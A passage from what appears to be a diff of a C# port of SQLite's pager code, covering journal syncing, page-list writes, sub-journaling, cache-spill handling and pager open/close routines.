assertTruncateConstraintCb(PgHdr pPg) { } +static void assertTruncateConstraint(Pager pPager) { } +#endif + + /* +** Truncate the in-memory database file image to nPage pages. This +** function does not actually modify the database file on disk. It +** just sets the internal state of the pager object so that the +** truncation will be done when the current transaction is committed. +*/ + static void sqlite3PagerTruncateImage( Pager pPager, u32 nPage ) + { + Debug.Assert( pPager.dbSize >= nPage ); + Debug.Assert( pPager.eState >= PAGER_WRITER_CACHEMOD ); + pPager.dbSize = nPage; + assertTruncateConstraint( pPager ); + } + + + /* + ** This function is called before attempting a hot-journal rollback. It + ** syncs the journal file to disk, then sets pPager.journalHdr to the + ** size of the journal file so that the pager_playback() routine knows + ** that the entire journal file has been synced. + ** + ** Syncing a hot-journal to disk before attempting to roll it back ensures + ** that if a power-failure occurs during the rollback, the process that + ** attempts rollback following system recovery sees the same journal + ** content as this process. + ** + ** If everything goes as planned, SQLITE_OK is returned. Otherwise, + ** an SQLite error code. + */ + static int pagerSyncHotJournal( Pager pPager ) + { + int rc = SQLITE_OK; + if ( !pPager.noSync ) + { + rc = sqlite3OsSync( pPager.jfd, SQLITE_SYNC_NORMAL ); + } + if ( rc == SQLITE_OK ) + { + rc = sqlite3OsFileSize( pPager.jfd, ref pPager.journalHdr ); + } + return rc; + } + + /* + ** Shutdown the page cache. Free all memory and close all files. + ** + ** If a transaction was in progress when this routine is called, that + ** transaction is rolled back. All outstanding pages are invalidated + ** and their memory is freed. Any attempt to use a page associated + ** with this page cache after this function returns will likely + ** result in a coredump. + ** + ** This function always succeeds. If a transaction is active an attempt + ** is made to roll it back. If an error occurs during the rollback + ** a hot journal may be left in the filesystem but no error is returned + ** to the caller. + */ + static int sqlite3PagerClose( Pager pPager ) + { + u8[] pTmp = pPager.pTmpSpace; +#if SQLITE_TEST + disable_simulated_io_errors(); +#endif + sqlite3BeginBenignMalloc(); + /* pPager.errCode = 0; */ + pPager.exclusiveMode = false; +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +sqlite3WalClose(pPager->pWal, pPager->ckptSyncFlags, pPager->pageSize, pTmp); +pPager.pWal = 0; +#endif + pager_reset( pPager ); + if ( +#if SQLITE_OMIT_MEMORYDB +1==MEMDB +#else + 1 == pPager.memDb +#endif + ) + { + pager_unlock( pPager ); + } + else + { + /* If it is open, sync the journal file before calling UnlockAndRollback. + ** If this is not done, then an unsynced portion of the open journal + ** file may be played back into the database. If a power failure occurs + ** while this is happening, the database could become corrupt. + ** + ** If an error occurs while trying to sync the journal, shift the pager + ** into the ERROR state. This causes UnlockAndRollback to unlock the + ** database and close the journal file without attempting to roll it + ** back or finalize it. The next database user will have to do hot-journal + ** rollback before accessing the database file. + */ + if ( isOpen( pPager.jfd ) ) + { + pager_error( pPager, pagerSyncHotJournal( pPager ) ); + } + pagerUnlockAndRollback( pPager ); + } + sqlite3EndBenignMalloc(); +#if SQLITE_TEST + enable_simulated_io_errors(); +#endif + + PAGERTRACE( "CLOSE %d\n", PAGERID( pPager ) ); + IOTRACE( "CLOSE %p\n", pPager ); + sqlite3OsClose( pPager.jfd ); + sqlite3OsClose( pPager.fd ); + //sqlite3_free( ref pTmp ); + sqlite3PcacheClose( pPager.pPCache ); + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + if ( pPager.xCodecFree != null ) + pPager.xCodecFree( ref pPager.pCodec ); +#endif + Debug.Assert( null == pPager.aSavepoint && !pPager.pInJournal ); + Debug.Assert( !isOpen( pPager.jfd ) && !isOpen( pPager.sjfd ) ); + + //sqlite3_free( ref pPager ); + return SQLITE_OK; + } + +#if !NDEBUG || SQLITE_TEST + /* +** Return the page number for page pPg. +*/ + static Pgno sqlite3PagerPagenumber( DbPage pPg ) + { + return pPg.pgno; + } +#else +static Pgno sqlite3PagerPagenumber( DbPage pPg ) { return pPg.pgno; } +#endif + + + /* +** Increment the reference count for page pPg. +*/ + static void sqlite3PagerRef( DbPage pPg ) + { + sqlite3PcacheRef( pPg ); + } + + /* + ** Sync the journal. In other words, make sure all the pages that have + ** been written to the journal have actually reached the surface of the + ** disk and can be restored in the event of a hot-journal rollback. + ** + ** If the Pager.noSync flag is set, then this function is a no-op. + ** Otherwise, the actions required depend on the journal-mode and the + ** device characteristics of the the file-system, as follows: + ** + ** * If the journal file is an in-memory journal file, no action need + ** be taken. + ** + ** * Otherwise, if the device does not support the SAFE_APPEND property, + ** then the nRec field of the most recently written journal header + ** is updated to contain the number of journal records that have + ** been written following it. If the pager is operating in full-sync + ** mode, then the journal file is synced before this field is updated. + ** + ** * If the device does not support the SEQUENTIAL property, then + ** journal file is synced. + ** + ** Or, in pseudo-code: + ** + ** if( NOT ){ + ** if( NOT SAFE_APPEND ){ + ** if( ) xSync(); + ** + ** } + ** if( NOT SEQUENTIAL ) xSync(); + ** } + ** + ** If successful, this routine clears the PGHDR_NEED_SYNC flag of every + ** page currently held in memory before returning SQLITE_OK. If an IO + ** error is encountered, then the IO error code is returned to the caller. + */ + static int syncJournal( Pager pPager, int newHdr ) + { + int rc = SQLITE_OK; + Debug.Assert( pPager.eState == PAGER_WRITER_CACHEMOD + || pPager.eState == PAGER_WRITER_DBMOD + ); + Debug.Assert( assert_pager_state( pPager ) ); + Debug.Assert( !pagerUseWal( pPager ) ); + + rc = sqlite3PagerExclusiveLock( pPager ); + if ( rc != SQLITE_OK ) + return rc; + + if ( !pPager.noSync ) + { + Debug.Assert( !pPager.tempFile ); + if ( isOpen( pPager.jfd ) && pPager.journalMode != PAGER_JOURNALMODE_MEMORY ) + { + int iDc = sqlite3OsDeviceCharacteristics( pPager.fd ); + Debug.Assert( isOpen( pPager.jfd ) ); + + if ( 0 == ( iDc & SQLITE_IOCAP_SAFE_APPEND ) ) + { + /* This block deals with an obscure problem. If the last connection + ** that wrote to this database was operating in persistent-journal + ** mode, then the journal file may at this point actually be larger + ** than Pager.journalOff bytes. If the next thing in the journal + ** file happens to be a journal-header (written as part of the + ** previous connection's transaction), and a crash or power-failure + ** occurs after nRec is updated but before this connection writes + ** anything else to the journal file (or commits/rolls back its + ** transaction), then SQLite may become confused when doing the + ** hot-journal rollback following recovery. It may roll back all + ** of this connections data, then proceed to rolling back the old, + ** out-of-date data that follows it. Database corruption. + ** + ** To work around this, if the journal file does appear to contain + ** a valid header following Pager.journalOff, then write a 0x00 + ** byte to the start of it to prevent it from being recognized. + ** + ** Variable iNextHdrOffset is set to the offset at which this + ** problematic header will occur, if it exists. aMagic is used + ** as a temporary buffer to inspect the first couple of bytes of + ** the potential journal header. + */ + i64 iNextHdrOffset; + u8[] aMagic = new u8[8]; + u8[] zHeader = new u8[aJournalMagic.Length + 4]; + aJournalMagic.CopyTo( zHeader, 0 );// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic)); + put32bits( zHeader, aJournalMagic.Length, pPager.nRec ); + iNextHdrOffset = journalHdrOffset( pPager ); + rc = sqlite3OsRead( pPager.jfd, aMagic, 8, iNextHdrOffset ); + if ( rc == SQLITE_OK && 0 == memcmp( aMagic, aJournalMagic, 8 ) ) + { + u8[] zerobyte = new u8[1]; + rc = sqlite3OsWrite( pPager.jfd, zerobyte, 1, iNextHdrOffset ); + } + if ( rc != SQLITE_OK && rc != SQLITE_IOERR_SHORT_READ ) + { + return rc; + } + + /* Write the nRec value into the journal file header. If in + ** full-synchronous mode, sync the journal first. This ensures that + ** all data has really hit the disk before nRec is updated to mark + ** it as a candidate for rollback. + ** + ** This is not required if the persistent media supports the + ** SAFE_APPEND property. Because in this case it is not possible + ** for garbage data to be appended to the file, the nRec field + ** is populated with 0xFFFFFFFF when the journal header is written + ** and never needs to be updated. + */ + if ( pPager.fullSync && 0 == ( iDc & SQLITE_IOCAP_SEQUENTIAL ) ) + { + + PAGERTRACE( "SYNC journal of %d\n", PAGERID( pPager ) ); + IOTRACE( "JSYNC %p\n", pPager ); + rc = sqlite3OsSync( pPager.jfd, pPager.syncFlags ); + if ( rc != SQLITE_OK ) + return rc; + } + IOTRACE( "JHDR %p %lld\n", pPager, pPager.journalHdr ); + rc = sqlite3OsWrite( + pPager.jfd, zHeader, zHeader.Length, pPager.journalHdr + ); + if ( rc != SQLITE_OK ) + return rc; + } + if ( 0 == ( iDc & SQLITE_IOCAP_SEQUENTIAL ) ) + { + + PAGERTRACE( "SYNC journal of %d\n", PAGERID( pPager ) ); + IOTRACE( "JSYNC %p\n", pPager ); + rc = sqlite3OsSync( pPager.jfd, pPager.syncFlags | + ( pPager.syncFlags == SQLITE_SYNC_FULL ? SQLITE_SYNC_DATAONLY : 0 ) + ); + if ( rc != SQLITE_OK ) + return rc; + } + pPager.journalHdr = pPager.journalOff; + if ( newHdr != 0 && 0 == ( iDc & SQLITE_IOCAP_SAFE_APPEND ) ) + { + pPager.nRec = 0; + rc = writeJournalHdr( pPager ); + if ( rc != SQLITE_OK ) + return rc; + } + } + else + { + pPager.journalHdr = pPager.journalOff; + } + } + /* Unless the pager is in noSync mode, the journal file was just + ** successfully synced. Either way, clear the PGHDR_NEED_SYNC flag on + ** all pages. + */ + sqlite3PcacheClearSyncFlags( pPager.pPCache ); + pPager.eState = PAGER_WRITER_DBMOD; + Debug.Assert( assert_pager_state( pPager ) ); + return SQLITE_OK; + } + + /* + ** The argument is the first in a linked list of dirty pages connected + ** by the PgHdr.pDirty pointer. This function writes each one of the + ** in-memory pages in the list to the database file. The argument may + ** be NULL, representing an empty list. In this case this function is + ** a no-op. + ** + ** The pager must hold at least a RESERVED lock when this function + ** is called. Before writing anything to the database file, this lock + ** is upgraded to an EXCLUSIVE lock. If the lock cannot be obtained, + ** SQLITE_BUSY is returned and no data is written to the database file. + ** + ** If the pager is a temp-file pager and the actual file-system file + ** is not yet open, it is created and opened before any data is + ** written out. + ** + ** Once the lock has been upgraded and, if necessary, the file opened, + ** the pages are written out to the database file in list order. Writing + ** a page is skipped if it meets either of the following criteria: + ** + ** * The page number is greater than Pager.dbSize, or + ** * The PGHDR_DONT_WRITE flag is set on the page. + ** + ** If writing out a page causes the database file to grow, Pager.dbFileSize + ** is updated accordingly. If page 1 is written out, then the value cached + ** in Pager.dbFileVers[] is updated to match the new value stored in + ** the database file. + ** + ** If everything is successful, SQLITE_OK is returned. If an IO error + ** occurs, an IO error code is returned. Or, if the EXCLUSIVE lock cannot + ** be obtained, SQLITE_BUSY is returned. + */ + static int pager_write_pagelist( Pager pPager, PgHdr pList ) + { + int rc = SQLITE_OK; /* Return code */ + + /* This function is only called for rollback pagers in WRITER_DBMOD state. */ + Debug.Assert( !pagerUseWal( pPager ) ); + Debug.Assert( pPager.eState == PAGER_WRITER_DBMOD ); + Debug.Assert( pPager.eLock == EXCLUSIVE_LOCK ); + /* If the file is a temp-file has not yet been opened, open it now. It + ** is not possible for rc to be other than SQLITE_OK if this branch + ** is taken, as pager_wait_on_lock() is a no-op for temp-files. + */ + if ( !isOpen( pPager.fd ) ) + { + Debug.Assert( pPager.tempFile && rc == SQLITE_OK ); + rc = pagerOpentemp( pPager, ref pPager.fd, (int)pPager.vfsFlags ); + } + + /* Before the first write, give the VFS a hint of what the final + ** file size will be. + */ + Debug.Assert( rc != SQLITE_OK || isOpen( pPager.fd ) ); + if ( rc == SQLITE_OK && pPager.dbSize > pPager.dbHintSize ) + { + sqlite3_int64 szFile = pPager.pageSize * (sqlite3_int64)pPager.dbSize; + sqlite3OsFileControl( pPager.fd, SQLITE_FCNTL_SIZE_HINT, ref szFile ); + pPager.dbHintSize = pPager.dbSize; + } + while ( rc == SQLITE_OK && pList ) + { + Pgno pgno = pList.pgno; + + /* If there are dirty pages in the page cache with page numbers greater + ** than Pager.dbSize, this means sqlite3PagerTruncateImage() was called to + ** make the file smaller (presumably by auto-vacuum code). Do not write + ** any such pages to the file. + ** + ** Also, do not write out any page that has the PGHDR_DONT_WRITE flag + ** set (set by sqlite3PagerDontWrite()). + */ + if ( pList.pgno <= pPager.dbSize && 0 == ( pList.flags & PGHDR_DONT_WRITE ) ) + { + i64 offset = ( pList.pgno - 1 ) * (i64)pPager.pageSize; /* Offset to write */ + byte[] pData = null; /* Data to write */ + + Debug.Assert( ( pList.flags & PGHDR_NEED_SYNC ) == 0 ); + if ( pList.pgno == 1 ) + pager_write_changecounter( pList ); + + /* Encode the database */ + if ( CODEC2( pPager, pList.pData, pgno, SQLITE_ENCRYPT_WRITE_CTX, ref pData ) ) + return SQLITE_NOMEM;// CODEC2(pPager, pList.pData, pgno, 6, return SQLITE_NOMEM, pData); + + /* Write out the page data. */ + rc = sqlite3OsWrite( pPager.fd, pData, pPager.pageSize, offset ); + /* If page 1 was just written, update Pager.dbFileVers to match + ** the value now stored in the database file. If writing this + ** page caused the database file to grow, update dbFileSize. + */ + if ( pgno == 1 ) + { + Buffer.BlockCopy( pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length );// memcpy(pPager.dbFileVers, pData[24], pPager.dbFileVers).Length; + } + if ( pgno > pPager.dbFileSize ) + { + pPager.dbFileSize = pgno; + } + /* Update any backup objects copying the contents of this pager. */ + sqlite3BackupUpdate( pPager.pBackup, pgno, pList.pData ); + + + PAGERTRACE( "STORE %d page %d hash(%08x)\n", + PAGERID( pPager ), pgno, pager_pagehash( pList ) ); + IOTRACE( "PGOUT %p %d\n", pPager, pgno ); +#if SQLITE_TEST +#if !TCLSH + PAGER_INCR( ref sqlite3_pager_writedb_count ); +#else + int iValue; + iValue = sqlite3_pager_writedb_count.iValue; + PAGER_INCR( ref iValue ); + sqlite3_pager_writedb_count.iValue = iValue; +#endif + + PAGER_INCR( ref pPager.nWrite ); +#endif + } + else + { + + PAGERTRACE( "NOSTORE %d page %d\n", PAGERID( pPager ), pgno ); + } + pager_set_pagehash( pList ); + pList = pList.pDirty; + } + return rc; + } + + /* + ** Ensure that the sub-journal file is open. If it is already open, this + ** function is a no-op. + ** + ** SQLITE_OK is returned if everything goes according to plan. An + ** SQLITE_IOERR_XXX error code is returned if a call to sqlite3OsOpen() + ** fails. + */ + static int openSubJournal( Pager pPager ) + { + int rc = SQLITE_OK; + if ( !isOpen( pPager.sjfd ) ) + { + if ( pPager.journalMode == PAGER_JOURNALMODE_MEMORY || pPager.subjInMemory != 0 ) + { + sqlite3MemJournalOpen( pPager.sjfd ); + } + else + { + rc = pagerOpentemp( pPager, ref pPager.sjfd, SQLITE_OPEN_SUBJOURNAL ); + } + } + return rc; + } + + /* + ** Append a record of the current state of page pPg to the sub-journal. + ** It is the callers responsibility to use subjRequiresPage() to check + ** that it is really required before calling this function. + ** + ** If successful, set the bit corresponding to pPg.pgno in the bitvecs + ** for all open savepoints before returning. + ** + ** This function returns SQLITE_OK if everything is successful, an IO + ** error code if the attempt to write to the sub-journal fails, or + ** SQLITE_NOMEM if a malloc fails while setting a bit in a savepoint + ** bitvec. + */ + static int subjournalPage( PgHdr pPg ) + { + int rc = SQLITE_OK; + Pager pPager = pPg.pPager; + if ( pPager.journalMode != PAGER_JOURNALMODE_OFF ) + { + + /* Open the sub-journal, if it has not already been opened */ + Debug.Assert( pPager.useJournal != 0 ); + Debug.Assert( isOpen( pPager.jfd ) || pagerUseWal( pPager ) ); + Debug.Assert( isOpen( pPager.sjfd ) || pPager.nSubRec == 0 ); + Debug.Assert( pagerUseWal( pPager ) + || pageInJournal( pPg ) + || pPg.pgno > pPager.dbOrigSize + ); + rc = openSubJournal( pPager ); + + /* If the sub-journal was opened successfully (or was already open), + ** write the journal record into the file. */ + if ( rc == SQLITE_OK ) + { + byte[] pData = pPg.pData; + i64 offset = pPager.nSubRec * ( 4 + pPager.pageSize ); + byte[] pData2 = null; + + if ( CODEC2( pPager, pData, pPg.pgno, SQLITE_ENCRYPT_READ_CTX, ref pData2 ) ) + return SQLITE_NOMEM;//CODEC2(pPager, pData, pPg.pgno, 7, return SQLITE_NOMEM, pData2); + PAGERTRACE( "STMT-JOURNAL %d page %d\n", PAGERID( pPager ), pPg.pgno ); + rc = write32bits( pPager.sjfd, offset, pPg.pgno ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3OsWrite( pPager.sjfd, pData2, pPager.pageSize, offset + 4 ); + } + } + } + if ( rc == SQLITE_OK ) + { + pPager.nSubRec++; + Debug.Assert( pPager.nSavepoint > 0 ); + rc = addToSavepointBitvecs( pPager, pPg.pgno ); + } + return rc; + } + + /* + ** This function is called by the pcache layer when it has reached some + ** soft memory limit. The first argument is a pointer to a Pager object + ** (cast as a void*). The pager is always 'purgeable' (not an in-memory + ** database). The second argument is a reference to a page that is + ** currently dirty but has no outstanding references. The page + ** is always associated with the Pager object passed as the first + ** argument. + ** + ** The job of this function is to make pPg clean by writing its contents + ** out to the database file, if possible. This may involve syncing the + ** journal file. + ** + ** If successful, sqlite3PcacheMakeClean() is called on the page and + ** SQLITE_OK returned. If an IO error occurs while trying to make the + ** page clean, the IO error code is returned. If the page cannot be + ** made clean for some other reason, but no error occurs, then SQLITE_OK + ** is returned by sqlite3PcacheMakeClean() is not called. + */ + static int pagerStress( object p, PgHdr pPg ) + { + Pager pPager = (Pager)p; + int rc = SQLITE_OK; + + Debug.Assert( pPg.pPager == pPager ); + Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); + + /* The doNotSyncSpill flag is set during times when doing a sync of + ** journal (and adding a new header) is not allowed. This occurs + ** during calls to sqlite3PagerWrite() while trying to journal multiple + ** pages belonging to the same sector. + ** + ** The doNotSpill flag inhibits all cache spilling regardless of whether + ** or not a sync is required. This is set during a rollback. + ** + ** Spilling is also prohibited when in an error state since that could + ** lead to database corruption. In the current implementaton it + ** is impossible for sqlite3PCacheFetch() to be called with createFlag==1 + ** while in the error state, hence it is impossible for this routine to + ** be called in the error state. Nevertheless, we include a NEVER() + ** test for the error state as a safeguard against future changes. + */ + if ( NEVER( pPager.errCode != 0 ) ) + return SQLITE_OK; + if ( pPager.doNotSpill != 0 ) + return SQLITE_OK; + if ( pPager.doNotSyncSpill != 0 && ( pPg.flags & PGHDR_NEED_SYNC ) != 0 ) + { + return SQLITE_OK; + } + pPg.pDirty = null; + if ( pagerUseWal( pPager ) ) + { + /* Write a single frame for this page to the log. */ + if ( subjRequiresPage( pPg ) ) + { + rc = subjournalPage( pPg ); + } + if ( rc == SQLITE_OK ) + { + rc = pagerWalFrames( pPager, pPg, 0, 0, 0 ); + } + } + else + { + + /* Sync the journal file if required. */ + if ( ( pPg.flags & PGHDR_NEED_SYNC ) != 0 + || pPager.eState == PAGER_WRITER_CACHEMOD + ) + { + rc = syncJournal( pPager, 1 ); + } + + /* If the page number of this page is larger than the current size of + ** the database image, it may need to be written to the sub-journal. + ** This is because the call to pager_write_pagelist() below will not + ** actually write data to the file in this case. + ** + ** Consider the following sequence of events: + ** + ** BEGIN; + ** + ** + ** SAVEPOINT sp; + ** + ** pagerStress(page X) + ** ROLLBACK TO sp; + ** + ** If (X>Y), then when pagerStress is called page X will not be written + ** out to the database file, but will be dropped from the cache. Then, + ** following the "ROLLBACK TO sp" statement, reading page X will read + ** data from the database file. This will be the copy of page X as it + ** was when the transaction started, not as it was when "SAVEPOINT sp" + ** was executed. + ** + ** The solution is to write the current data for page X into the + ** sub-journal file now (if it is not already there), so that it will + ** be restored to its current value when the "ROLLBACK TO sp" is + ** executed. + */ + if ( NEVER( + rc == SQLITE_OK && pPg.pgno > pPager.dbSize && subjRequiresPage( pPg ) + ) ) + { + rc = subjournalPage( pPg ); + } + + /* Write the contents of the page out to the database file. */ + if ( rc == SQLITE_OK ) + { + Debug.Assert( ( pPg.flags & PGHDR_NEED_SYNC ) == 0 ); + rc = pager_write_pagelist( pPager, pPg ); + } + } + /* Mark the page as clean. */ + if ( rc == SQLITE_OK ) + { + PAGERTRACE( "STRESS %d page %d\n", PAGERID( pPager ), pPg.pgno ); + sqlite3PcacheMakeClean( pPg ); + } + + return pager_error( pPager, rc ); + } + + + /* + ** Allocate and initialize a new Pager object and put a pointer to it + ** in *ppPager. The pager should eventually be freed by passing it + ** to sqlite3PagerClose(). + ** + ** The zFilename argument is the path to the database file to open. + ** If zFilename is NULL then a randomly-named temporary file is created + ** and used as the file to be cached. Temporary files are be deleted + ** automatically when they are closed. If zFilename is ":memory:" then + ** all information is held in cache. It is never written to disk. + ** This can be used to implement an in-memory database. + ** + ** The nExtra parameter specifies the number of bytes of space allocated + ** along with each page reference. This space is available to the user + ** via the sqlite3PagerGetExtra() API. + ** + ** The flags argument is used to specify properties that affect the + ** operation of the pager. It should be passed some bitwise combination + ** of the PAGER_OMIT_JOURNAL and PAGER_NO_READLOCK flags. + ** + ** The vfsFlags parameter is a bitmask to pass to the flags parameter + ** of the xOpen() method of the supplied VFS when opening files. + ** + ** If the pager object is allocated and the specified file opened + ** successfully, SQLITE_OK is returned and *ppPager set to point to + ** the new pager object. If an error occurs, *ppPager is set to NULL + ** and error code returned. This function may return SQLITE_NOMEM + ** (sqlite3Malloc() is used to allocate memory), SQLITE_CANTOPEN or + ** various SQLITE_IO_XXX errors. + */ + static int sqlite3PagerOpen( + sqlite3_vfs pVfs, /* The virtual file system to use */ + out Pager ppPager, /* OUT: Return the Pager structure here */ + string zFilename, /* Name of the database file to open */ + int nExtra, /* Extra bytes append to each in-memory page */ + int flags, /* flags controlling this file */ + int vfsFlags, /* flags passed through to sqlite3_vfs.xOpen() */ + dxReiniter xReinit /* Function to reinitialize pages */ + ) + { + u8 pPtr; + Pager pPager = null; /* Pager object to allocate and return */ + int rc = SQLITE_OK; /* Return code */ + u8 tempFile = 0; /* True for temp files (incl. in-memory files) */ // Needs to be u8 for later tests + u8 memDb = 0; /* True if this is an in-memory file */ + bool readOnly = false; /* True if this is a read-only file */ + int journalFileSize; /* Bytes to allocate for each journal fd */ + StringBuilder zPathname = null; /* Full path to database file */ + int nPathname = 0; /* Number of bytes in zPathname */ + bool useJournal = ( flags & PAGER_OMIT_JOURNAL ) == 0; /* False to omit journal */ + bool noReadlock = ( flags & PAGER_NO_READLOCK ) != 0; /* True to omit read-lock */ + int pcacheSize = sqlite3PcacheSize(); /* Bytes to allocate for PCache */ + u32 szPageDflt = SQLITE_DEFAULT_PAGE_SIZE; /* Default page size */ + string zUri = null; /* URI args to copy */ + int nUri = 0; /* Number of bytes of URI args at *zUri */ + + /* Figure out how much space is required for each journal file-handle + ** (there are two of them, the main journal and the sub-journal). This + ** is the maximum space required for an in-memory journal file handle + ** and a regular journal file-handle. Note that a "regular journal-handle" + ** may be a wrapper capable of caching the first portion of the journal + ** file in memory to implement the atomic-write optimization (see + ** source file journal.c). + */ + if ( sqlite3JournalSize( pVfs ) > sqlite3MemJournalSize() ) + { + journalFileSize = ROUND8( sqlite3JournalSize( pVfs ) ); + } + else + { + journalFileSize = ROUND8( sqlite3MemJournalSize() ); + } + + /* Set the output variable to NULL in case an error occurs. */ + ppPager = null; + +#if !SQLITE_OMIT_MEMORYDB + if ( ( flags & PAGER_MEMORY ) != 0 ) + { + memDb = 1; + zFilename = null; + } +#endif + + /* Compute and store the full pathname in an allocated buffer pointed + ** to by zPathname, length nPathname. Or, if this is a temporary file, + ** leave both nPathname and zPathname set to 0. + */ + if ( !String.IsNullOrEmpty( zFilename ) ) + { + string z; + nPathname = pVfs.mxPathname + 1; + zPathname = new StringBuilder( nPathname * 2 );// sqlite3Malloc( nPathname * 2 ); + //if ( zPathname == null ) + //{ + // return SQLITE_NOMEM; + //} + //zPathname[0] = 0; /* Make sure initialized even if FullPathname() fails */ + rc = sqlite3OsFullPathname( pVfs, zFilename, nPathname, zPathname ); + + nPathname = sqlite3Strlen30( zPathname ); + z = zUri = zFilename;//.Substring(sqlite3Strlen30( zFilename ) ); + //while ( *z ) + //{ + // z += sqlite3Strlen30( z ) + 1; + // z += sqlite3Strlen30( z ) + 1; + //} + nUri = zUri.Length;// &z[1] - zUri; + if ( rc == SQLITE_OK && nPathname + 8 > pVfs.mxPathname ) + { + /* This branch is taken when the journal path required by + ** the database being opened will be more than pVfs.mxPathname + ** bytes in length. This means the database cannot be opened, + ** as it will not be possible to open the journal file or even + ** check for a hot-journal before reading. + */ + rc = SQLITE_CANTOPEN_BKPT(); + } + if ( rc != SQLITE_OK ) + { + //sqlite3_free( ref zPathname ); + return rc; + } + } + + /* Allocate memory for the Pager structure, PCache object, the + ** three file descriptors, the database file name and the journal + ** file name. The layout in memory is as follows: + ** + ** Pager object (sizeof(Pager) bytes) + ** PCache object (sqlite3PcacheSize() bytes) + ** Database file handle (pVfs.szOsFile bytes) + ** Sub-journal file handle (journalFileSize bytes) + ** Main journal file handle (journalFileSize bytes) + ** Database file name (nPathname+1 bytes) + ** Journal file name (nPathname+8+1 bytes) + */ + //pPtr = (u8 *)sqlite3MallocZero( + // ROUND8(sizeof(*pPager)) + /* Pager structure */ + // ROUND8(pcacheSize) + /* PCache object */ + // ROUND8(pVfs.szOsFile) + /* The main db file */ + // journalFileSize * 2 + /* The two journal files */ + // nPathname + 1 + nUri + /* zFilename */ + // nPathname + 8 + 1 /* zJournal */ + //#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL + // + nPathname + 4 + 1 /* zWal */ + //#endif + //); + // Debug.Assert( EIGHT_BYTE_ALIGNMENT(SQLITE_INT_TO_PTR(journalFileSize))); + //if( !pPtr ){ + // //sqlite3_free(zPathname); + // return SQLITE_NOMEM; + //} + pPager = new Pager();//(Pager*)(pPtr); + pPager.pPCache = new PCache();//(PCache*)(pPtr += ROUND8(sizeof(*pPager))); + pPager.fd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pcacheSize)); + pPager.sjfd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pVfs.szOsFile)); + pPager.jfd = new sqlite3_file();//(sqlite3_file*)(pPtr += journalFileSize); + //pPager.zFilename = (char*)(pPtr += journalFileSize); + //Debug.Assert( EIGHT_BYTE_ALIGNMENT(pPager.jfd) ); + + /* Fill in the Pager.zFilename and Pager.zJournal buffers, if required. */ + if ( zPathname != null ) + { + Debug.Assert( nPathname > 0 ); + //pPager.zJournal = (char*)(pPtr += nPathname + 1 + nUri); + //memcpy(pPager.zFilename, zPathname, nPathname); + pPager.zFilename = zPathname.ToString(); + zUri = pPager.zFilename;//.Substring( nPathname + 1 );//memcpy( &pPager.zFilename[nPathname + 1], zUri, nUri ); + //memcpy(pPager.zJournal, zPathname, nPathname); + //memcpy(&pPager.zJournal[nPathname], "-journal", 8); + pPager.zJournal = pPager.zFilename + "-journal"; + sqlite3FileSuffix3( pPager.zFilename, pPager.zJournal ); +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +pPager.zWal = &pPager.zJournal[nPathname+8+1]; +memcpy(pPager.zWal, zPathname, nPathname); +memcpy(&pPager.zWal[nPathname], "-wal", 4); + sqlite3FileSuffix3(pPager.zFilename, pPager.zWal); +#endif + + //sqlite3_free( ref zPathname ); + } + else + { + pPager.zFilename = ""; + } + pPager.pVfs = pVfs; + pPager.vfsFlags = (u32)vfsFlags; + + /* Open the pager file. + */ + if ( !String.IsNullOrEmpty( zFilename ) ) + { + int fout = 0; /* VFS flags returned by xOpen() */ + rc = sqlite3OsOpen( pVfs, pPager.zFilename, pPager.fd, vfsFlags, ref fout ); + Debug.Assert( 0 == memDb ); + readOnly = ( fout & SQLITE_OPEN_READONLY ) != 0; + + /* If the file was successfully opened for read/write access, + ** choose a default page size in case we have to create the + ** database file. The default page size is the maximum of: + ** + ** + SQLITE_DEFAULT_PAGE_SIZE, + ** + The value returned by sqlite3OsSectorSize() + ** + The largest page size that can be written atomically. + */ + if ( rc == SQLITE_OK && !readOnly ) + { + setSectorSize( pPager ); + Debug.Assert( SQLITE_DEFAULT_PAGE_SIZE <= SQLITE_MAX_DEFAULT_PAGE_SIZE ); + if ( szPageDflt < pPager.sectorSize ) + { + if ( pPager.sectorSize > SQLITE_MAX_DEFAULT_PAGE_SIZE ) + { + szPageDflt = SQLITE_MAX_DEFAULT_PAGE_SIZE; + } + else + { + szPageDflt = (u32)pPager.sectorSize; + } + } +#if SQLITE_ENABLE_ATOMIC_WRITE +{ +int iDc = sqlite3OsDeviceCharacteristics(pPager.fd); +int ii; +Debug.Assert(SQLITE_IOCAP_ATOMIC512==(512>>8)); +Debug.Assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8)); +Debug.Assert(SQLITE_MAX_DEFAULT_PAGE_SIZE<=65536); +for(ii=szPageDflt; ii<=SQLITE_MAX_DEFAULT_PAGE_SIZE; ii=ii*2){ +if( iDc&(SQLITE_IOCAP_ATOMIC|(ii>>8)) ){ +szPageDflt = ii; +} +} +} +#endif + } + } + else + { + /* If a temporary file is requested, it is not opened immediately. + ** In this case we accept the default page size and delay actually + ** opening the file until the first call to OsWrite(). + ** + ** This branch is also run for an in-memory database. An in-memory + ** database is the same as a temp-file that is never written out to + ** disk and uses an in-memory rollback journal. + */ + tempFile = 1; + pPager.eState = PAGER_READER; + pPager.eLock = EXCLUSIVE_LOCK; + readOnly = ( vfsFlags & SQLITE_OPEN_READONLY ) != 0; + } + + /* The following call to PagerSetPagesize() serves to set the value of + ** Pager.pageSize and to allocate the Pager.pTmpSpace buffer. + */ + if ( rc == SQLITE_OK ) + { + Debug.Assert( pPager.memDb == 0 ); + rc = sqlite3PagerSetPagesize( pPager, ref szPageDflt, -1 ); + testcase( rc != SQLITE_OK ); + } + + /* If an error occurred in either of the blocks above, free the + ** Pager structure and close the file. + */ + if ( rc != SQLITE_OK ) + { + Debug.Assert( null == pPager.pTmpSpace ); + sqlite3OsClose( pPager.fd ); + //sqlite3_free( ref pPager ); + return rc; + } + + /* Initialize the PCache object. */ + Debug.Assert( nExtra < 1000 ); + nExtra = ROUND8( nExtra ); + sqlite3PcacheOpen( (int)szPageDflt, nExtra, 0 == memDb, + 0 == 